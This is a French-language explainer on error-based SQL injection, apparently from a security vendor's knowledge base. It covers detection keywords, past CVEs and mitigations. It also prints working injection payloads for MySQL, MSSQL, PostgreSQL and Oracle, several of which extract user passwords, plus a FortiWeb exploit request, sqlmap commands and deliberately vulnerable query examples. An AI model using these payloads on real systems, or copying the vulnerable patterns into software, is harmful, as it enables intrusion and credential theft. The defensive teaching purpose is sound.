Déclenche des messages d'erreur de base de données qui divulguent des noms de schémas, de tables ou des valeurs de données dans la réponse HTTP.
TL;DR
CONVERT(int, data)CAST(data AS int) pour déclencher des échecs de conversion informatifsL'injection SQL basée sur les erreurs force la base de données à générer un message d'erreur verbeux contenant des données de résultat de requête. Au lieu d'extraire des données via l'ensemble de résultats de la requête (basée sur UNION) ou de les inférer via des différences comportementales (à l'aveugle), l'injection basée sur les erreurs lit les données extraites directement depuis la chaîne d'erreur que le moteur de base de données retourne à l'application.
Cette technique appartient à la catégorie des injections SQL en bande selon CWE-89. La condition préalable est stricte : l'application doit refléter les messages d'erreur bruts de la base de données dans sa réponse HTTP. Ce comportement est courant dans les applications PHP héritées avec display_errors = On, les environnements de développement et de test, et les applications qui catchent les exceptions et affichent la chaîne d'erreur pour faciliter le débogage. Les déploiements de production modernes avec une gestion correcte des erreurs sont immunisés contre l'extraction basée sur les erreurs — bien qu'ils restent vulnérables à d'autres variantes d'injection.
Les fonctions basées sur les erreurs sont spécifiques à chaque moteur SQL. MySQL utilise les erreurs d'expression XPath via EXTRACTVALUE() et UPDATEXML(). MSSQL exploite les échecs de conversion de type implicite via CONVERT() et CAST(). PostgreSQL déclenche des erreurs de conversion via CAST(). Oracle utilise la fonction d'index de contexte CTXSYS.DRITHSX.SN(). Chaque fonction intègre les données cibles dans le message d'erreur, que l'application reflète ensuite à l'attaquant dans le corps de la réponse HTTP.
Le principe fondamental est d'exploiter toute fonction de base de données qui inclut des données contrôlées par l'utilisateur dans sa sortie d'erreur. L'attaquant injecte un appel à une telle fonction, passe la requête cible comme argument, et lit le résultat depuis le message d'erreur.
La valeur hexadécimale 0x7e est le caractère tilde (~). Il sert de délimiteur qui rend les données extraites visuellement distinctes dans la chaîne d'erreur, simplifiant l'analyse.
MySQL — EXTRACTVALUE (MySQL 5.1+, le plus fiable) :
-- Extraire la version de la base de données
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -
-- Extraire l'utilisateur courant et la base de données
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(user(),'@',database())),0x7e))-- -
-- Extraire le premier nom de table
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1),0x7e))-- -
-- Extraire le mot de passe depuis la table users
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e))-- -L'erreur EXTRACTVALUE retourne jusqu'à 32 caractères. Pour les valeurs plus longues, utiliser SUBSTRING() avec itération de décalage.
MySQL — UPDATEXML (quand EXTRACTVALUE est filtré) :
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1)-- -
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(username,':',password) FROM users LIMIT 1),0x7e),1)-- -MySQL — technique de groupement FLOOR/RAND (quand les deux fonctions XPath sont bloquées) :
' AND (SELECT 1 FROM(
SELECT COUNT(*),CONCAT(
(SELECT database()),0x3a,FLOOR(RAND(0)*2)
)x FROM information_schema.tables GROUP BY x
)a)-- -Cette technique exploite une condition de compétition dans l'évaluation GROUP BY de MySQL. Le message d'erreur est : ERROR 1062: Duplicate entry 'target_database:1' for key 'group_key'. Les données cibles apparaissent avant le deux-points dans la chaîne d'entrée dupliquée.
| Variante | Fonction | Moteur SQL | Type d'erreur |
|---|---|---|---|
| Extraction XPath | EXTRACTVALUE(1, CONCAT(0x7e, data, 0x7e)) | MySQL ≥5.1 | Erreur de syntaxe XPATH |
| Alternative XPath | UPDATEXML(1, CONCAT(0x7e, data, 0x7e), 1) | MySQL ≥5.1 | Erreur de syntaxe XPATH |
| GROUP BY/FLOOR | COUNT(*) + FLOOR(RAND(0)*2) GROUP BY | MySQL | Erreur d'entrée dupliquée |
| Coercition de type | CONVERT(int, data) | MSSQL | Conversion échouée |
| Coercition de type | CAST(data AS int) | PostgreSQL | Échec de conversion |
| Coercition de type | CAST(data AS int) | MSSQL | Erreur de conversion de type |
| Index de contexte | CTXSYS.DRITHSX.SN(user, data) | Oracle | Erreur ORA |
| TO_NUMBER | TO_NUMBER(data) | Oracle | nombre invalide |
-- MSSQL — coercition de type CONVERT (le plus fiable pour l'injection MSSQL basée sur les erreurs)
-- Erreur : "Conversion failed when converting the nvarchar value 'admin' to data type int."
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))--
' AND 1=CONVERT(int,CONCAT(SYSTEM_USER,':',@@version))--
-- MSSQL — alternative CAST
' AND 1=CAST((SELECT TOP 1 table_name FROM information_schema.tables) AS int)---- PostgreSQL — erreur de conversion entière CAST
-- Erreur : "invalid input syntax for type integer: "PostgreSQL 14.2""
' AND 1=CAST((SELECT version()) AS int)--
' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int)--
' AND 1=(SELECT CAST(usename AS int) FROM pg_catalog.pg_user LIMIT 1)---- Oracle — fonction CTXSYS DRITHSX (nécessite le composant Oracle Text)
-- Erreur : "ORA-20000: Oracle Text error: DRG-11701: thesaurus <data> does not exist"
' AND 1=CTXSYS.DRITHSX.SN(user,(SELECT banner FROM v$version WHERE rownum=1))--
' AND 1=CTXSYS.DRITHSX.SN(user,(SELECT table_name FROM all_tables WHERE rownum=1))--
-- Oracle — TO_NUMBER (plus simple, moins de dépendances)
' AND 1=TO_NUMBER((SELECT user FROM dual))--
' AND 1=TO_NUMBER((SELECT banner FROM v$version WHERE ROWNUM=1))--CONVERT(int, data) de MSSQL est la technique basée sur les erreurs la plus fiable sur SQL Server car elle ne nécessite aucune fonction spéciale ni privilège au-delà de l'accès SELECT standard. Le format du message d'erreur "Conversion failed when converting the nvarchar value 'X' to data type int" intègre systématiquement la valeur cible X dans la chaîne d'erreur pour toutes les versions MSSQL.
CVE-2025-25257 — Fortinet FortiWeb Fabric Connector (CVSS 9.6, 2025) — Injection SQL pré-authentifiée via l'en-tête HTTP Authorization: Bearer dans /api/fabric/device/status. La fonction get_fabric_user_by_token() concaténait le token bearer directement dans une requête MySQL. Les attaquants ont utilisé des techniques basées sur les erreurs et booléennes pour énumérer la base de données, puis ont enchaîné INTO OUTFILE pour écrire un fichier Python .pth dans le répertoire site-packages pour un RCE root pré-auth. WatchTowr Labs a confirmé une exploitation active en juillet 2025. Le payload est simple :
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--CVE-2024-47849 — Extension MediaWiki Cargo (CVSS 9.8, octobre 2024) — Injection SQL accessible par le réseau non authentifiée dans l'extension Cargo pour MediaWiki (versions antérieures à 3.6.1). Le constructeur de requêtes de l'extension ne neutralisait pas correctement les éléments de commandes SQL spéciaux, permettant l'extraction basée sur les erreurs sans authentification. Toute installation MediaWiki avec l'extension Cargo avant la version 3.6.1 était vulnérable.
CVE-2022-34265 — Injection de fonction Trunc/Extract Django — Les fonctions ORM Django Trunc(kind=user_input) et Extract(lookup_name=user_input) ne validaient pas les arguments kind et lookup_name avant de les intégrer dans le SQL généré. Un attaquant passant une valeur kind élaborée pouvait injecter des payloads basés sur les erreurs directement dans les expressions de troncature de date. Corrigé dans Django 4.1.2, 4.0.8 et 3.2.15 avec validation par liste d'autorisation.
HackerOne #531051 — Base de données financière d'entreprise Starbucks — L'injection SQL dans l'application de Starbucks a exposé l'accès à la base de données de comptabilité d'entreprise, financière et de paie. Les messages d'erreur de l'instance SQL Server de production révélaient les noms de schémas et les structures de tables, permettant une extraction systématique via des techniques basées sur les erreurs avant que l'exploitation ne soit signalée.
') et observer si un message d'erreur de base de données apparaît dans le corps de la réponse. L'erreur doit contenir des mots-clés spécifiques au SGBD pour confirmer l'injection.AND EXTRACTVALUE(1,CONCAT(0x7e,version(),0x7e))-- sur les cibles MySQL. Observer si la chaîne de version apparaît dans l'erreur.AND 1=CONVERT(int,(SELECT 1))-- sur les cibles MSSQL. Observer si une erreur de conversion de type est reflétée.You have an error in your SQL syntax, XPATH syntax errorConversion failed, Unclosed quotation mark, Invalid column nameinvalid input syntax for type, syntax error at or near, psycopg2.errorsORA-00933, ORA-01756, ORA-00907# sqlmap avec technique basée sur les erreurs
sqlmap -u "https://target.com/search?q=test" \
--technique=E --batch --dbs
# Avec indication SGBD pour cibler les payloads basés sur les erreurs
sqlmap -u "https://target.com/search?q=test" \
--technique=E --dbms=mysql --batch
# Depuis une requête sauvegardée dans Burp Suite
sqlmap -r request.txt -p "id" --technique=E --batchListe de mots-clés d'erreur pour le scan de réponse (pertinente pour les pipelines de détection automatisée) :
ERROR_KEYWORDS = [
# MySQL
"you have an error in your sql syntax",
"xpath syntax error",
"extractvalue",
"duplicate entry",
# MSSQL
"microsoft odbc",
"conversion failed",
"microsoft sql native",
"invalid column name",
"unclosed quotation mark",
# PostgreSQL
"psycopg2.errors",
"invalid input syntax for type",
"pg_exception",
"syntax error at or near",
# Oracle
"ora-00933",
"ora-01756",
"ora-00907",
# Java générique
"java.sql.sqlexception",
"sqlexception",
]BreachVex détecte l'injection basée sur les erreurs en analysant les corps de réponse à la recherche de mots-clés d'erreur spécifiques aux SGBD, puis en escaladant vers un outillage offensif standard de l'industrie pour l'extraction automatisée une fois qu'une injection probable est confirmée.
La mitigation la plus immédiate pour l'injection basée sur les erreurs est d'empêcher l'application de refléter les erreurs de base de données dans les réponses HTTP. Retourner des messages génériques aux utilisateurs ; journaliser les erreurs verbeuses côté serveur.
# Python Flask — supprimer les erreurs DB de la réponse
from flask import Flask, jsonify
import logging
app = Flask(__name__)
@app.errorhandler(Exception)
def handle_error(e):
# Journaliser l'erreur détaillée en interne
app.logger.error(f"Database error: {e}")
# Retourner une réponse générique à l'utilisateur
return jsonify({"error": "Une erreur interne s'est produite"}), 500// Node.js Express — supprimer les erreurs DB
app.use((err, req, res, next) => {
console.error('Database error:', err.message); // journaliser en interne
res.status(500).json({ error: 'Internal server error' }); // réponse générique
});Supprimer les messages d'erreur supprime le canal d'extraction basée sur les erreurs mais n'élimine pas la vulnérabilité d'injection sous-jacente. Les requêtes paramétrées sont nécessaires pour prévenir l'injection elle-même.
# psycopg2 — SÛR
cursor.execute(
"SELECT * FROM users WHERE id = %s",
(user_id,)
)
# VULNÉRABLE — les messages d'erreur exposeraient la valeur injectée
cursor.execute(f"SELECT * FROM users WHERE id = '{user_id}'")// PHP PDO — SÛR
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$userId]);
// VULNÉRABLE
$result = mysqli_query($conn, "SELECT * FROM users WHERE id = '$userId'");Désactiver l'affichage des messages d'erreur dans la réponse HTTP convertit une injection SQL basée sur les erreurs en injection SQL à l'aveugle. La vulnérabilité d'injection existe toujours — l'attaquant bascule vers des techniques basées sur le temps ou booléennes. La suppression des erreurs est une mitigation de détection, pas un contrôle de prévention.
L'injection SQL basée sur les erreurs force la base de données à générer un message d'erreur verbeux contenant des données de résultat de requête. L'erreur est reflétée dans la réponse HTTP, permettant à l'attaquant d'extraire le contenu de la base de données sans ensemble de résultats de requête réussi.
EXTRACTVALUE() et UPDATEXML() sont les principales fonctions MySQL basées sur les erreurs. Les deux acceptent une expression XPath ; injecter CONCAT(0x7e, data, 0x7e) dans l'argument XPath cause une erreur de syntaxe XPath qui divulgue la valeur des données dans le message d'erreur.
MSSQL utilise des erreurs de conversion de type implicite. Injecter CONVERT(int, (SELECT data)) cause SQL Server à signaler une erreur de conversion qui inclut la valeur réelle des données : 'Conversion failed when converting the nvarchar value 'admin' to data type int.'
Oui. Les erreurs CAST PostgreSQL fonctionnent de manière similaire à CONVERT de MSSQL. Injecter CAST((SELECT version()) AS int) cause un échec de conversion qui inclut la chaîne de version dans le message d'erreur.
L'application doit refléter les messages d'erreur de base de données dans sa réponse HTTP. C'est plus courant dans les applications PHP héritées, les environnements de développement et les serveurs de test où error_reporting est activé. Les applications de production avec une gestion correcte des erreurs ne sont pas vulnérables à l'extraction basée sur les erreurs.
CVE-2025-25257 (FortiWeb, CVSS 9.6) a utilisé des techniques basées sur les erreurs et booléennes via l'en-tête Authorization. CVE-2024-47849 (MediaWiki Cargo, CVSS 9.8) permettait une injection basée sur les erreurs non authentifiée. CVE-2022-34265 (Django, versions 3.2/4.0/4.1) était injectable via les fonctions Trunc(kind) et Extract(lookup_name) sans validation.
La technique de groupement FLOOR/RAND exploite une condition de compétition dans le traitement GROUP BY de MySQL. Combiner FLOOR(RAND(0)*2) avec COUNT(*) et GROUP BY dans une sous-requête amène MySQL à émettre une erreur contenant les données cibles concaténées avec une valeur de clé dupliquée.